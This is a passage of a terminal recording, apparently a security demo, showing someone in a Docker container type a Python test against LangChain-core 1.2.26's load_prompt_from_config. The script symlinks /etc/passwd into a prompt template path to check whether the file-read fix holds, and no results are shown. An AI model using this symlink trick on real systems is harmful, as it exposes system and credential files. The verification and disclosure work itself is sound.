[178.00058, "o", "\b"]
[178.034524, "o", "\b"]
[178.070686, "o", "\b"]
[178.107116, "o", "\b"]
[178.14228, "o", "\b"]
[178.187579, "o", "\b"]
[178.207882, "o", "\b"]
[178.234085, "o", "\b"]
[178.266156, "o", "\b"]
[178.299811, "o", "\b"]
[178.329074, "o", "\b"]
[178.372374, "o", "\b"]
[178.402877, "o", "\b"]
[178.431128, "o", "\b"]
[178.463512, "o", "\b"]
[178.4991, "o", "\b"]
[178.537737, "o", "\b"]
[178.559498, "o", "\b"]
[178.604406, "o", "\b"]
[178.64, "o", "\b"]
[178.662003, "o", "\b"]
[178.695012, "o", "\b"]
[178.726572, "o", "\b"]
[178.769728, "o", "\b"]
[178.799657, "o", "\b"]
[178.839065, "o", "\b"]
[178.858697, "o", "\b"]
[178.891591, "o", "\b"]
[178.92566, "o", "\b"]
[178.958203, "o", "\b"]
[178.990689, "o", "\b"]
[179.027555, "o", "\b"]
[179.067554, "o", "\b"]
[179.090445, "o", "\b"]
[179.125497, "o", "\b"]
[179.158981, "o", "\b"]
[179.203832, "o", "\b"]
[179.222658, "o", "\b"]
[179.259381, "o", "\b"]
[179.329722, "o", "\b"]
[179.332372, "o", "\b"]
[179.35336, "o", "\b"]
[179.387001, "o", "\b"]
[179.420045, "o", "\b"]
[179.456639, "o", "\b"]
[179.48552, "o", "\b"]
[179.537162, "o", "\b"]
[179.56034, "o", "\b"]
[179.587343, "o", "\b"]
[179.618792, "o", "\b"]
[179.652259, "o", "\b"]
[179.685318, "o", "\b"]
[179.723264, "o", "\b"]
[179.754277, "o", "\b"]
[179.79531, "o", "\b"]
[179.822879, "o", "\b"]
[179.852531, "o", "\b"]
[179.884291, "o", "\b"]
[179.915073, "o", "\b"]
[179.956029, "o", "\b"]
[179.992624, "o", "\b"]
[180.019679, "o", "\b"]
[180.049191, "o", "\b"]
[180.081023, "o", "\b"]
[180.110893, "o", "\b"]
[180.143819, "o", "\b"]
[180.180697, "o", "\b"]
[180.231866, "o", "\b"]
[180.260226, "o", "\b"]
[180.27762, "o", "\b"]
[180.309829, "o", "\b"]
[180.344566, "o", "\b"]
[180.375235, "o", "\b"]
[180.419132, "o", "\b"]
[180.445952, "o", "\b"]
[180.496674, "o", "\b"]
[180.509447, "o", "\b"]
[180.540752, "o", "\b"]
[180.57613, "o", "\b"]
[180.609898, "o", "\b"]
[180.641816, "o", "\b"]
[180.674602, "o", "\b"]
[180.704778, "o", "\b"]
[180.738425, "o", "\b"]
[180.773888, "o", "\r"]
[180.83258, "o", "\u001b[Aecho \"           Inside Docker Container - LangChain v1.2.25\""]
[180.840271, "o", "\b"]
[180.871604, "o", "\b"]
[180.905518, "o", "\b"]
[181.135713, "o", "\b"]
[181.372524, "o", "."]
[181.557684, "o", "2"]
[181.925196, "o", "5"]
[182.426914, "o", "\b\u001b[1P\"\b"]
[183.062082, "o", "6\"\b"]
[183.609154, "o", "\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\u001b[?2004l\r====================================================================================\r\n           Inside Docker Container - LangChain v1.2.26\r\n====================================================================================\r\n\r\n# First, let's verify our environment\r\n"]
[183.625075, "o", "Python 3.12.3\r\n"]
[183.879857, "o", "LangChain-core version: 1.2.26\r\n"]
[183.881197, "o", "\r\n"]
[185.893855, "o", "\u001b[?2004h\u001b]0;root@9b2f0aa2ab26: /\u0007root@9b2f0aa2ab26:/# \u001b[K"]
[190.955587, "o", "\u001b[7mecho \"# PART 1: The READ vulnerability (Mostly Fixed)\"\u001b[27m\r\n\r\u001b[7mecho \"# =============================================\"\u001b[27m\r\n\r\u001b[7mecho \"\"\u001b[27m\r\n\r\u001b[7mecho \"# In v1.2.25, load_prompt_from_config() now has allow_dangerous_paths=False\"\u001b[27m\r\n\r\u001b[7mecho \"# This blocks reading sensitive files... let's test:\"\u001b[27m\r\n\r\n\r\u001b[7mcat << 'EOF' > test_read.py\u001b[27m\r\n\r\u001b[7mimport os\u001b[27m\r\n\r\u001b[7mfrom langchain_core.prompts.loading import load_prompt_from_config\u001b[27m\r\n\r\n\r\u001b[7mprint(\"Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...\")\u001b[27m\r\n\r\n\r\u001b[7m# Create symlink to /etc/passwd\u001b[27m\r\n\r\u001b[7mos.symlink(\"/etc/passwd\", \"test_bypass.txt\")\u001b[27m\r\n\r\n\r\u001b[7mconfig = {\u001b[27m\r\n\r\u001b[7m    \"_type\": \"prompt\",\u001b[27m\r\n\r\u001b[7m    \"template_path\": \"test_bypass.txt\",\u001b[27m\r\n\r\u001b[7m    \"template_format\": \"f-string\",\u001b[27m\r\n\r\u001b[7m    \"input_variables\": []\u001b[27m\r\n\r\u001b[7m}\u001b[27m\r\n\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    # Default (allow_dangerous_paths=False)\u001b[27m\r\n\r\u001b[7m    result = load_prompt_from_config(config)\u001b[27m\r\n"]
[190.957113, "o", "\r\u001b[7m    print(\"❌ FAIL: Can still read /etc/passwd!\")\u001b[27m\r\n\r\u001b[7mexcept ValueError as e:\u001b[27m\r\n\r\u001b[7m    print(f\"✅ GOOD: Blocked with error: {str(e)[:80]}...\")\u001b[27m\r\n\r\n\r\u001b[7mprint(\"\\nNow testing with allow_dangerous_paths=True...\")\u001b[27m\r\n\r\u001b[7mtry:\u001b[27m\r\n\r\u001b[7m    result = load_prompt_from_config(config, allow_dangerous_paths=True)\u001b[27m"]
[190.959206, "o", "\r\n\r\u001b[7m    print(f\"✅ With allow_dangerous_paths=True: Can read /etc/passwd\")\u001b[27m\r\n\r\u001b[7m    print(f\"   First line: {result.template.split('\\\\n')[0]}\")\u001b[27m\r\n\r\u001b[7mexcept Exception as e:\u001b[27m\r\n\r\u001b[7m    print(f\"❌ Even with allow_dangerous_paths=True: {type(e).__name__}: {e}\")\u001b[27m\r\n\r\n\r\u001b[7m# Cleanup\u001b[27m\r\n\r\u001b[7mos.remove(\"test_bypass.txt\")\u001b[27m\r\n\r\u001b[7mEOF\u001b[27m\r\n\r\n\r\u001b[7mpython3 test_read.py\u001b[27m\r\n\r\u001b[7msleep 3\u001b[27m\r\n\r"]
[193.68353, "o", "\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@9b2f0aa2ab26:/# sleep 2\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\r\n\r\u001b[K\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[A\u001b[Aroot@9b2f0aa2ab26:/# sleep 2"]
[194.349013, "o", "\b\b\b\b\b\b\becho \"# PART 1: The READ vulnerability (Mostly Fixed)\"\r\n\recho \"# =============================================\"\r\n\recho \"\"\r\n\recho \"# In v1.2.25, load_prompt_from_config() now has allow_dangerous_paths=False\"\r\n\recho \"# This blocks reading sensitive files... let's test:\"\r\n\r\n\rcat << 'EOF' > test_read.py\r\n\rimport os\r\n\rfrom langchain_core.prompts.loading import load_prompt_from_config\r\n\r\n\rprint(\"Testing load_prompt_from_config() with allow_dangerous_paths=False (default)...\")\r\n\r\n\r# Create symlink to /etc/passwd\r\n\ros.symlink(\"/etc/passwd\", \"test_bypass.txt\")\r\n\r\n\rconfig = {\r\n\r    \"_type\": \"prompt\",\r\n\r    \"template_path\": \"test_bypass.txt\",\r\n\r    \"template_format\": \"f-string\",\r\n\r    \"input_variables\": []\r\n\r}\r\n\r\n\rtry:\r\n\r    # Default (allow_dangerous_paths=False)\r\n\r    result = load_prompt_from_config(config)\r\n\r    print(\"❌ FAIL: Can still read /etc/passwd!\")\r\n\rexcept ValueError as e:\r\n\r    print(f\"✅ GOOD: Blocked with error: {str(e)[:80]}...\")\r\n\r\n\rprint(\"\\nNow testing with allow_dangerous_paths=True...\")\r\n\rtry:\r\n\r    result = load_prompt_from_config(config, allow_dangerous_paths=True)\r\n\r    print(f\"✅ With allow_dangerous_paths=True: Can read /etc/passwd\")\r\n\r    print(f\"   First line: {result.template.split('\\\\n')[0]}\")\r\n\rexcept Exception as e:\r\n\r    print(f\"❌ Even with allow_dangerous_paths=True: {type(e).__name__}: {e}\")\r\n\r\n\r# Cleanup\r\n\ros.remove(\"test_bypass.txt\")\r\n\rEOF\r\n\r\n\rpython3 test_read.py\r\n\rsleep 3\r\n\r"]
[194.785006, "o", "\u001b[Asleep 3"]
[195.306028, "o", "\b"]
[195.320019, "o", "\b"]
[195.347138, "o", "\b"]
[195.382308, "o", "\b"]
[195.419343, "o", "\b"]
[195.443337, "o", "\b"]
[195.485641, "o", "\r"]
[195.527597, "o", "\u001b[Apython3 test_read.py"]
[195.552385, "o", "\b"]
[195.578556, "o", "\b"]
[195.610752, "o", "\b"]
[195.646192, "o", "\b"]
[195.676118, "o", "\b"]
[195.710134, "o", "\b"]
[195.748782, "o", "\b"]
[195.776883, "o", "\b"]
[195.813363, "o", "\b"]
[195.844533, "o", "\b"]
[195.876257, "o", "\b"]
[195.907559, "o", "\b"]
[195.959622, "o", "\b"]
[195.972941, "o", "\b"]
[196.008607, "o", "\b"]
[196.039636, "o", "\b"]
[196.071343, "o", "\b"]
[196.104235, "o", "\b"]
[196.155783, "o", "\b"]
[196.173582, "o", "\r"]
[196.22731, "o", "\u001b[A"]
[196.241543, "o", "\u001b[AEOF"]
[196.271284, "o", "\b"]
[196.305235, "o", "\b"]
[196.33871, "o", "\r"]
[196.36859, "o", "\u001b[Aos.remove(\"test_bypass.txt\")"]
[196.409227, "o", "\b"]
[196.458236, "o", "\b"]
[196.471576, "o", "\b"]
[196.503997, "o", "\b"]
[196.538226, "o", "\b"]
[196.573077, "o", "\b"]
[196.620067, "o", "\b"]
[196.638875, "o", "\b"]
[196.672243, "o", "\b"]
[196.701657, "o", "\b"]
[196.734797, "o", "\b"]
[196.768446, "o", "\b"]
[196.797259, "o", "\b"]
[196.846681, "o", "\b"]
[196.881636, "o", "\b"]
[196.898997, "o", "\b"]
[196.930676, "o", "\b"]
[196.964608, "o", "\b"]
[196.996383, "o", "\b"]
[197.029566, "o", "\b"]
[197.066259, "o", "\b"]
[197.132293, "o", "\b"]
[197.139592, "o", "\b"]
[197.163281, "o", "\b"]
[197.195863, "o", "\b"]
[197.229585, "o", "\b"]
[197.260001, "o", "\b"]
[197.292691, "o", "\r"]
[197.330095, "o", "\u001b[A# Cleanup"]
[197.385818, "o", "\b"]
[197.39772, "o", "\b"]
[197.427998, "o", "\b"]
[197.461262, "o", "\b"]
[197.491395, "o", "\b"]
[197.533981, "o", "\b"]
[197.579016, "o", "\b"]
[197.593044, "o", "\b"]
[197.623078, "o", "\r"]
[197.656959, "o", "\u001b[A"]
[197.689454, "o", "\u001b[A    print(f\"❌ Even with allow_dangerous_paths=True: {type(e).__name__}: {e}\")"]
[197.720361, "o", "\b"]
[197.803354, "o", "\b"]
[197.813438, "o", "\b"]
[197.822205, "o", "\b"]
[197.855143, "o", "\b"]
[197.889475, "o", "\b"]
[197.921269, "o", "\b"]
[197.961275, "o", "\b"]
[197.993792, "o", "\b"]
[198.021685, "o", "\b"]
[198.054763, "o", "\b"]
[198.089593, "o", "\b"]
[198.141906, "o", "\b"]
[198.156827, "o", "\b"]
[198.188499, "o", "\b"]
[198.221247, "o", "\b"]
[198.251073, "o", "\b"]
[198.28552, "o", "\b"]
[198.315636, "o", "\b"]
[198.351595, "o", "\b"]
[198.383711, "o", "\b"]
[198.417894, "o", "\b"]
[198.465115, "o", "\b"]
[198.482172, "o", "\b"]
[198.516221, "o", "\b"]
[198.555339, "o", "\b"]
[198.586128, "o", "\b"]
[198.612805, "o", "\b"]
[198.657984, "o", "\b"]
[198.679588, "o", "\b"]
[198.71391, "o", "\b"]
[198.746192, "o", "\b"]
[198.777553, "o", "\b"]
[198.812288, "o", "\b"]
[198.848801, "o", "\b"]
[198.894401, "o", "\b"]
[198.913291, "o", "\b"]
[198.94581, "o", "\b"]
[198.977407, "o", "\b"]
[199.011046, "o", "\b"]
[199.060287, "o", "\b"]
[199.075766, "o", "\b"]
[199.109316, "o", "\b"]
[199.141181, "o", "\b"]
[199.176959, "o", "\b"]
[199.222963, "o", "\b"]
[199.249101, "o", "\b"]
[199.273169, "o", "\b"]
[199.306803, "o", "\b"]
[199.339261, "o", "\b"]
[199.37307, "o", "\b"]
[199.405084, "o", "\b"]
[199.45726, "o", "\b"]
[199.477762, "o", "\b"]
[199.507324, "o", "\b"]
[199.541186, "o", "\b"]
[199.574921, "o", "\b"]
[199.611265, "o", "\b"]
[199.64808, "o", "\b"]
[199.670741, "o", "\b"]
[199.706663, "o", "\b"]
[199.735825, "o", "\b"]
[199.774392, "o", "\b"]
[199.826526, "o", "\b"]
[199.841367, "o", "\b"]
[199.867954, "o", "\b"]
[199.901629, "o", "\b"]
[199.934873, "o", "\b"]
[199.965531, "o", "\b"]
[200.001886, "o", "\b"]
[200.046296, "o", "\b"]
[200.067602, "o", "\b"]
[200.102212, "o", "\b"]
[200.134739, "o", "\b"]
[200.165892, "o", "\b"]
[200.200353, "o", "\b"]
[200.24693, "o", "\b"]
[200.269613, "o", "\b"]
[200.297793, "o", "\r"]
[200.330617, "o", "\u001b[Aexcept Exception as e:"]
[200.36361, "o", "\b"]
[200.393941, "o", "\b"]
[200.447812, "o", "\b"]
[200.468699, "o", "\b"]
[200.497448, "o", "\b"]
[200.528702, "o", "\b"]
[200.562317, "o", "\b"]
[200.593204, "o", "\b"]
[200.625459, "o", "\b"]
[200.663293, "o", "\b"]
[200.694689, "o", "\b"]
[200.737038, "o", "\b"]
[200.759932, "o", "\b"]
[200.791742, "o", "\b"]
[200.824719, "o", "\b"]
[200.856481, "o", "\b"]
[200.911057, "o", "\b"]
[200.925142, "o", "\b"]
[200.976977, "o", "\b"]
[200.993287, "o", "\b"]
[201.028835, "o", "\b"]
[201.05703, "o", "\r"]
[201.090069, "o", "\u001b[A    print(f\"   First line: {result.template.split('\\\\n')[0]}\")"]
[201.124826, "o", "\b"]
[201.165954, "o", "\b"]
[201.19368, "o", "\b"]
[201.221638, "o", "\b"]
[201.256104, "o", "\b"]
[201.291903, "o", "\b"]
[201.321477, "o", "\b"]
[201.356378, "o", "\b"]
[201.388324, "o", "\b"]
[201.419417, "o", "\b"]
[201.459616, "o", "\b"]
[201.499155, "o", "\b"]
[201.520338, "o", "\b"]
[201.552435, "o", "\b"]
[201.583737, "o", "\b"]
[201.617507, "o", "\b"]
[201.652846, "o", "\b"]
[201.682716, "o", "\b"]
[201.734497, "o", "\b"]
[201.761867, "o", "\b"]
[201.782078, "o", "\b"]
[201.81495, "o", "\b"]
[201.848246, "o", "\b"]
[201.880051, "o", "\b"]
[201.917631, "o", "\b"]
[201.966416, "o", "\b"]
[201.980926, "o", "\b"]
[202.013805, "o", "\b"]
[202.046152, "o", "\b"]
[202.079506, "o", "\b"]
[202.110711, "o", "\b"]
[202.144844, "o", "\b"]
[202.203761, "o", "\b"]
[202.212724, "o", "\b"]
[202.244765, "o", "\b"]
[202.277058, "o", "\b"]
[202.308067, "o", "\b"]
[202.346012, "o", "\b"]
[202.398512, "o", "\b"]
[202.41211, "o", "\b"]
[202.444061, "o", "\b"]
[202.4771, "o", "\b"]
[202.509771, "o", "\b"]
[202.55368, "o", "\b"]
[202.582904, "o", "\b"]
[202.615284, "o", "\b"]
[202.641649, "o", "\b"]
[202.67527, "o", "\b"]
[202.713226, "o", "\b"]
[202.749081, "o", "\b"]
[202.771651, "o", "\b"]
[202.80787, "o", "\b"]
[202.840644, "o", "\b"]
[202.871215, "o", "\b"]
[202.903322, "o", "\b"]
[202.94776, "o", "\b"]
[202.98377, "o", "\b"]
[203.004552, "o", "\b"]
[203.03569, "o", "\b"]
[203.070726, "o", "\b"]
[203.100165, "o", "\b"]
[203.133582, "o", "\r"]
[203.171653, "o", "\u001b[A    print(f\"✅ With allow_dangerous_paths=True: Can read /etc/passwd\")"]
[203.212182, "o", "\b"]
[203.239214, "o", "\b"]
[203.270154, "o", "\b"]
[203.30012, "o", "\b"]
[203.333135, "o", "\b"]
[203.365689, "o", "\b"]
[203.401756, "o", "\b"]
[203.447144, "o", "\b"]
[203.465331, "o", "\b"]
[203.500025, "o", "\b"]
[203.533543, "o", "\b"]
[203.563469, "o", "\b"]
[203.597841, "o", "\b"]
[203.639855, "o", "\b"]
[203.663791, "o", "\b"]
[203.6943, "o", "\b"]
[203.729659, "o", "\b"]
[203.76387, "o", "\b"]
[203.794042, "o", "\b"]
[203.833983, "o", "\b"]
[203.872203, "o", "\b"]
[203.895135, "o", "\b"]
[203.928467, "o", "\b"]
[203.961714, "o", "\b"]
[203.994126, "o", "\b"]
[204.031808, "o", "\b"]
[204.062797, "o", "\b"]
[204.119939, "o", "\b"]
[204.131739, "o", "\b"]
[204.160924, "o", "\b"]
[204.191878, "o", "\b"]
[204.226671, "o", "\b"]
[204.261696, "o", "\b"]
[204.295716, "o", "\b"]
[204.338648, "o", "\b"]
[204.358143, "o", "\b"]
[204.392276, "o", "\b"]
[204.424906, "o", "\b"]
[204.454057, "o", "\b"]
[204.514919, "o", "\b"]
[204.526423, "o", "\b"]
[204.557846, "o", "\b"]
[204.586686, "o", "\b"]
[204.626061, "o", "\b"]
[204.653343, "o", "\b"]
[204.686874, "o", "\b"]
[204.718206, "o", "\b"]
[204.769009, "o", "\b"]
[204.787574, "o", "\b"]
[204.821281, "o", "\b"]
[204.850748, "o", "\b"]
[204.883217, "o", "\b"]
[204.918602, "o", "\b"]
[204.962522, "o", "\b"]
[204.985164, "o", "\b"]
[205.015369, "o", "\b"]
[205.049226, "o", "\b"]
[205.082062, "o", "\b"]
[205.112977, "o", "\b"]
[205.157731, "o", "\b"]
[205.180301, "o", "\b"]
[205.220627, "o", "\b"]
[205.249495, "o", "\b"]
[205.279601, "o", "\b"]
[205.329557, "o", "\b"]
[205.35149, "o", "\b"]
[205.379583, "o", "\b"]
[205.412273, "o", "\b"]
[205.449772, "o", "\b"]
[205.47977, "o", "\b"]
[205.516469, "o", "\r"]
[205.546587, "o", "\u001b[A    result = load_prompt_from_config(config, allow_dangerous_paths=True)"]
[205.579535, "o", "\b"]
[205.635562, "o", "\b"]
[205.649691, "o", "\b"]
[205.679568, "o", "\b"]
[205.712206, "o", "\b"]
[205.75299, "o", "\b"]
[205.775027, "o", "\b"]
[205.813259, "o", "\b"]
[205.864243, "o", "\b"]
[205.883484, "o", "\b"]
[205.906016, "o", "\b"]
[205.942254, "o", "\b"]
[205.973846, "o", "\b"]
[206.008277, "o", "\b"]
[206.058395, "o", "\b"]
[206.073809, "o", "\b"]
[206.110784, "o", "\b"]
[206.138504, "o", "\b"]
[206.172046, "o", "\b"]
[206.201835, "o", "\b"]
[206.236987, "o", "\b"]
[206.288111, "o", "\b"]
[206.305659, "o", "\b"]
[206.338222, "o", "\b"]
[206.371002, "o", "\b"]
[206.403045, "o", "\b"]
[206.437218, "o", "\b"]
[206.470532, "o", "\b"]
[206.508807, "o", "\b"]
[206.546739, "o", "\b"]
[206.566661, "o", "\b"]
[206.602076, "o", "\b"]
[206.633028, "o", "\b"]
[206.668524, "o", "\b"]
[206.700654, "o", "\b"]
[206.735798, "o", "\b"]
[206.790772, "o", "\b"]
[206.801344, "o", "\b"]
[206.83207, "o", "\b"]
[206.864153, "o", "\b"]
[206.900231, "o", "\b"]
[206.928945, "o", "\b"]
[206.976805, "o", "\b"]
[206.997129, "o", "\b"]
[207.02952, "o", "\b"]
[207.064534, "o", "\b"]
[207.096786, "o", "\b"]
[207.135203, "o", "\b"]
[207.177743, "o", "\b"]
[207.204474, "o", "\b"]
[207.230539, "o", "\b"]
[207.262709, "o", "\b"]
[207.299023, "o", "\b"]
[207.33315, "o", "\b"]
[207.356681, "o", "\b"]
[207.401665, "o", "\b"]
[207.431604, "o", "\b"]
[207.459685, "o", "\b"]
[207.49293, "o", "\b"]
[207.524913, "o", "\b"]
[207.556735, "o", "\b"]
[207.591045, "o", "\b"]
[207.6431, "o", "\b"]
[207.664188, "o", "\b"]
[207.690489, "o", "\b"]
[207.726095, "o", "\b"]
[207.754819, "o", "\b"]
[207.804279, "o", "\b"]
[207.827836, "o", "\b"]
[207.852839, "o", "\b"]
[207.885935, "o", "\b"]
[207.920065, "o", "\r"]
[207.955492, "o", "\u001b[Atry:"]
[207.987215, "o", "\b"]
[208.022262, "o", "\b"]
[208.072759, "o", "\b"]
[208.089902, "o", "\r"]
[208.118933, "o", "\u001b[Aprint(\"\\nNow testing with allow_dangerous_paths=True...\")"]
[208.151518, "o", "\b"]
[208.18268, "o", "\b"]
[208.215108, "o", "\b"]
[208.261922, "o", "\b"]
[208.285162, "o", "\b"]
[208.316788, "o", "\b"]
[208.349935, "o", "\b"]
[208.384282, "o", "\b"]
[208.422471, "o", "\b"]
[208.459607, "o", "\b"]
[208.483534, "o", "\b"]
[208.5168, "o", "\b"]
[208.553576, "o", "\b"]
[208.580822, "o", "\b"]
[208.620622, "o", "\b"]
[208.652377, "o", "\b"]
[208.68507, "o", "\b"]
[208.714351, "o", "\b"]
[208.746394, "o", "\b"]
[208.781614, "o", "\b"]
[208.814723, "o", "\b"]
[208.846708, "o", "\b"]
[208.885216, "o", "\b"]
[208.916266, "o", "\b"]
[208.954908, "o", "\b"]
[208.979116, "o", "\b"]
[209.010484, "o", "\b"]
[209.042941, "o", "\b"]
[209.077713, "o", "\b"]
[209.138436, "o", "\b"]
[209.172384, "o", "\b"]
[209.178444, "o", "\b"]
[209.207589, "o", "\b"]
[209.24124, "o", "\b"]
[209.272286, "o", "\b"]
[209.306823, "o", "\b"]
[209.34513, "o", "\b"]
[209.408163, "o", "\b"]
[209.418567, "o", "\b"]
[209.437559, "o", "\b"]
[209.477113, "o", "\b"]
[209.50561, "o", "\b"]
[209.542453, "o", "\b"]
[209.584101, "o", "\b"]
[209.60194, "o", "\b"]
[209.660928, "o", "\b"]
[209.67275, "o", "\b"]
[209.702663, "o", "\b"]
[209.734098, "o", "\b"]
[209.767627, "o", "\b"]
[209.817813, "o", "\b"]
[209.844302, "o", "\b"]
[209.879283, "o", "\b"]
[209.90069, "o", "\b"]
[209.932963, "o", "\b"]
[209.967557, "o", "\b"]
[210.001146, "o", "\r"]
[210.050432, "o", "\u001b[A"]
[210.071506, "o", "\u001b[A    print(f\"✅ GOOD: Blocked with error: {str(e)[:80]}...\")"]
[210.099432, "o", "\b"]
[210.135119, "o", "\b"]
[210.164305, "o", "\b"]
[210.200337, "o", "\b"]
[210.241127, "o", "\b"]
[210.274689, "o", "\b"]
[210.299062, "o", "\b"]
[210.329742, "o", "\b"]
[210.362664, "o", "\b"]
[210.393937, "o", "\b"]
[210.427198, "o", "\b"]
[210.475668, "o", "\b"]
[210.505232, "o", "\b"]
[210.528464, "o", "\b"]
[210.567745, "o", "\b"]
[210.595024, "o", "\b"]
[210.626366, "o", "\b"]
[210.664002, "o", "\b"]
[210.6929, "o", "\b"]
[210.726581, "o", "\b"]
[210.759782, "o", "\b"]
[210.792656, "o", "\b"]
[210.824948, "o", "\b"]
[210.86133, "o", "\b"]
[210.890458, "o", "\b"]
[210.923061, "o", "\b"]
[210.956213, "o", "\b"]
[210.993556, "o", "\b"]
[211.022568, "o", "\b"]
[211.056833, "o", "\b"]
[211.105095, "o", "\b"]
[211.124121, "o", "\b"]
[211.178924, "o", "\b"]
[211.194414, "o", "\b"]
[211.22164, "o", "\b"]
[211.254736, "o", "\b"]
[211.287944, "o", "\b"]
[211.317858, "o", "\b"]
[211.35038, "o", "\b"]
[211.399066, "o", "\b"]
[211.417721, "o", "\b"]
[211.451219, "o", "\b"]
[211.485071, "o", "\b"]
[211.521668, "o", "\b"]
[211.552114, "o", "\b"]
[211.598141, "o", "\b"]
[211.615957, "o", "\b"]
[211.651749, "o", "\b"]
[211.68504, "o", "\b"]
[211.715762, "o", "\b"]
[211.751945, "o", "\b"]
[211.780921, "o", "\b"]
[211.830427, "o", "\b"]
[211.852609, "o", "\b"]
[211.881301, "o", "\b"]
[211.91312, "o", "\b"]
[211.945696, "o", "\b"]
[211.986253, "o", "\b"]
[212.046838, "o", "\b"]
[212.058713, "o", "\r"]
[212.07958, "o", "\u001b[Aexcept ValueError as e:"]
[212.112616, "o", "\b"]
[212.144743, "o", "\b"]
[212.198736, "o", "\b"]
[212.213275, "o", "\b"]
[212.24415, "o", "\b"]
[212.307961, "o", "\b"]
[212.319292, "o", "\b"]
[212.343374, "o", "\b"]
[212.376317, "o", "\b"]
[212.407908, "o", "\b"]
[212.440788, "o", "\b"]
[212.478377, "o", "\b"]
[212.520975, "o", "\b"]
[212.542175, "o", "\b"]
[212.572723, "o", "\b"]
[212.605208, "o", "\b"]
[212.639471, "o", "\b"]
[212.671847, "o", "\b"]
[212.70501, "o", "\b"]
[212.737313, "o", "\b"]
[212.769245, "o", "\b"]
[212.817717, "o", "\b"]
[212.837661, "o", "\r"]
[212.897153, "o", "\u001b[A    print(\"❌ FAIL: Can still read /etc/passwd!\")"]
[212.9063, "o", "\b"]
[212.936285, "o", "\b"]
[212.969766, "o", "\b"]
[213.012646, "o", "\b"]
[213.039135, "o", "\b"]
[213.087851, "o", "\b"]
[213.103193, "o", "\b"]
[213.138525, "o", "\b"]
[213.174157, "o", "\b"]
[213.201685, "o", "\b"]
[213.242238, "o", "\b"]
[213.270175, "o", "\b"]
[213.304211, "o", "\b"]
[213.334088, "o", "\b"]
[213.364783, "o", "\b"]
[213.411639, "o", "\b"]
[213.443086, "o", "\b"]
[213.474941, "o", "\b"]
[213.498543, "o", "\b"]
[213.532764, "o", "\b"]
[213.565639, "o", "\b"]
[213.59669, "o", "\b"]
[213.633425, "o", "\b"]
[213.6631, "o", "\b"]
[213.696206, "o", "\b"]
[213.728549, "o", "\b"]
[213.761912, "o", "\b"]
[213.794483, "o", "\b"]
[213.830995, "o", "\b"]
[213.878125, "o", "\b"]
[213.894981, "o", "\b"]
[213.928207, "o", "\b"]
[213.958589, "o", "\b"]
[213.994128, "o", "\b"]
[214.041277, "o", "\b"]
[214.060248, "o", "\b"]
[214.093313, "o", "\b"]
[214.124389, "o", "\b"]
[214.156773, "o", "\b"]
[214.21593, "o", "\b"]
[214.237646, "o", "\b"]
[214.258569, "o", "\b"]
[214.289984, "o", "\b"]
[214.322713, "o", "\b"]
[214.353748, "o", "\b"]
[214.39579, "o", "\b"]
[214.429751, "o", "\b"]
[214.45673, "o", "\b"]
[214.488658, "o", "\b"]
[214.524942, "o", "\r"]
[214.555757, "o", "\u001b[A    result = load_prompt_from_config(config)"]
[214.589827, "o", "\b"]
[214.625918, "o", "\b"]
[214.654844, "o", "\b"]
[214.692551, "o", "\b"]
[214.726308, "o", "\b"]
[214.75875, "o", "\b"]
[214.783002, "o", "\b"]
[214.844966, "o", "\b"]
[214.855078, "o", "\b"]
[214.88351, "o", "\b"]
[214.920309, "o", "\b"]
[214.947936, "o", "\b"]
[214.98495, "o", "\b"]
[215.020337, "o", "\b"]
[215.048907, "o", "\b"]
[215.083644, "o", "\b"]
[215.113636, "o", "\b"]
[215.145672, "o", "\b"]
[215.184909, "o", "\b"]
[215.234828, "o", "\b"]
[215.247737, "o", "\b"]
[215.280707, "o", "\b"]
[215.315325, "o", "\b"]
[215.344407, "o", "\b"]
[215.379283, "o", "\b"]
[215.431026, "o", "\b"]
[215.446153, "o", "\b"]
[215.47761, "o", "\b"]
[215.509676, "o", "\b"]
[215.544115, "o", "\b"]
[215.574864, "o", "\b"]
[215.627175, "o", "\b"]
[215.643254, "o", "\b"]
[215.700655, "o", "\b"]
[215.710053, "o", "\b"]
[215.741642, "o", "\b"]
[215.774308, "o", "\b"]
[215.809053, "o", "\b"]
[215.837806, "o", "\b"]
[215.88339, "o", "\b"]
[215.928323, "o", "\b"]
[215.942623, "o", "\b"]
[215.97332, "o", "\b"]
[216.008498, "o", "\r"]
[216.039406, "o", "\u001b[A    # Default (allow_dangerous_paths=False)"]
[216.073594, "o", "\b"]
[216.107633, "o", "\b"]
[216.142281, "o", "\b"]
